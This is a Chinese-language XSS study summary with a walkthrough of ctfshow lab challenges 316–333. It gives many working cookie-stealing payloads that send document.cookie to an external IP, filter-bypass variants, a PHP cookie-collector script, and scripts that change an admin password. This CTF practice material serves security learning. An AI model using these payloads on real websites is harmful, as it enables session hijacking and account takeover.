xss复习总结
知识点
1.XSS 漏洞简介
XSS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export.
2.XSS的原理
攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。
诱使受害者打开受到攻击的服务器URL。
受害者在Web浏览器中打开URL,恶意脚本执行。
3.XSS的攻击方式
反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。一般是后端代码进行处理
存储型XSS:<持久化> 代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。
4.XSS的危害
1.挂马
2.盗取用户Cookie。
3.DOS(拒绝服务)客户端浏览器。
4.钓鱼攻击,高级的钓鱼技巧。
5.删除目标文章、恶意篡改数据、嫁祸。
6.劫持用户Web行为,甚至进一步渗透内网。
7.爆发Web2.0蠕虫。
8.蠕虫式的DDoS攻击。
9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
10.其它安全问题
5.XSS的利用方式
1.需要一个xss平台来收集cookie
-
对于反射型xss可构造链接,当用户点击时,用户cookie被发送到xss平台
-
窃取用户cooike之后加以利用
可以基于xss平台进行利用
思维导图
漏洞概述
漏洞分类
防御
示例ctfshow
反射型(316-326)
316
写入<script>alert('1');</script>,可以弹框
本地服务器接受xss触发的cookie
<?php
echo 'hello';
if(isset($_GET['cookie'])) {
$cookie = $_GET['cookie'];
// 过滤和清理用户输入
cookie = htmlspecialchars(cookie); // 过滤特殊字符
// 其他可能的过滤和验证
// 写入文件
$myfile = fopen('cookie.txt', 'a');
if ($myfile !== false) {
fwrite($myfile, $cookie."\n");
fclose($myfile);
echo 'Cookie 已成功写入文件。';
} else {
echo '无法打开文件进行写入。';
}
} else {
echo '未提供 cookie 数据。';
}
?>
<script>window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie\</script>
<script>window.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie\</script>
服务器接受成功
PHPSESSID=mmp10nlblsrf6lm1mhgvrrnr4v; flag=ctfshow{6b0e3e74-33cf-46f9-860f-b482350a15ab}
317
过滤掉了script,可以使用onload+svg标签
<svg οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">
PHPSESSID=p5080si0q6no6arse5ohqsn9i6; flag=ctfshow{7b5527bf-40ce-4c7a-9b60-7b5e90536e35}
318
使用onload+body 标签
姿势:
<body οnlοad="document.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie"></body>
可以使用onload+svg标签
<svg οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">
PHPSESSID=i451q1hknod0tu85ns14bsbe9i; flag=ctfshow{cd22ca42-f597-454c-99d9-e6a34d72adb2}
319
iframe 标签
<iframe οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)"></iframe>
body标签
<body οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">
input标签
<input οnfοcus="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)" autofocus>
PHPSESSID=4v9o95apn13jh1v0olsd4n95cn; flag=ctfshow{642da7b3-a0df-43fe-8b64-758f2c14b4d7}
320
空格过滤了 过滤了script,img,空格
/绕过空格
Iframe标签
<svg/οnlοad="window.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie">
PHPSESSID=ucoi08m9uacje2uj026alrdigt; flag=ctfshow{08fc1a0f-9bf6-49e9-a1ed-27fada2cb476}
321-326
这些关卡可以用以前关卡的姿势触发xss
空格可以用 / 或/**/绕过
iframe 标签
<iframe οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)"></iframe>
body标签
<body οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">
input标签
<input οnfοcus="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)" autofocus>
script标签
<script>window.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie\</script>
svg 标签
<svg οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">
327
内容写入
<script>window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)</script>
<input οnfοcus="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)" autofocus>
<body οnlοad="document.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie"></body>
返回网络繁忙
328
账号:aa
密码:
<script>window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)</script>
修改cookie值
329
和web328一样 发现管理员cookie是随时变的 后端设置就是访问后cookie立马失效
随便注册一个用户
查看页面信息密码中的标签信息
layui-table-cell laytable-cell-1-0-1
在注册一个用户
密码:
<script>
$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctf'+'show{')>-1){
window.location.href='http://8.130.28.124/cookie.php?cookie='+value.innerHTML;
}
});
</script>
330
Bp抓取修改密码的数据包
再注册
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
window.location.href 表示当前页面的 URL 地址 设置的新 URL 是 'http://127.0.0.1/api/change?p=123',它是一个 API 的地址,其中 p 参数的值为 123 当浏览器加载这个 JavaScript 脚本时,它会立即将当前页面重定向到该 API 地址,并带上参数 p=123。在重定向完成后,页面将会显示 API 返回的内容 管理员访问的肯定是本地的api接口 所以用127.0.0.1
这个js脚本作为密码 随便创建一个用户 (题目默认BOT会隔一段时间访问账号密码页面 从而实现了管理员点击事件)
331
Bp抓取修改密码的数据包
是post请求
请求模板
var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象
httpRequest.open('POST', 'url', true); //第二步:打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)
httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中
/**
* 获取数据后的处理程序
*/
httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中
if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功
var json = httpRequest.responseText;//获取到服务端返回的数据
console.log(json);
}
};
构造
<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=123456');</script>
ctfshow{4e99b8d9-a969-4940-82ab-3e23777b46d1}
332
逻辑漏洞
转账负数
333
这次加了一点限制,就是转出的金额的绝对值不能比余额大,就是多转几次。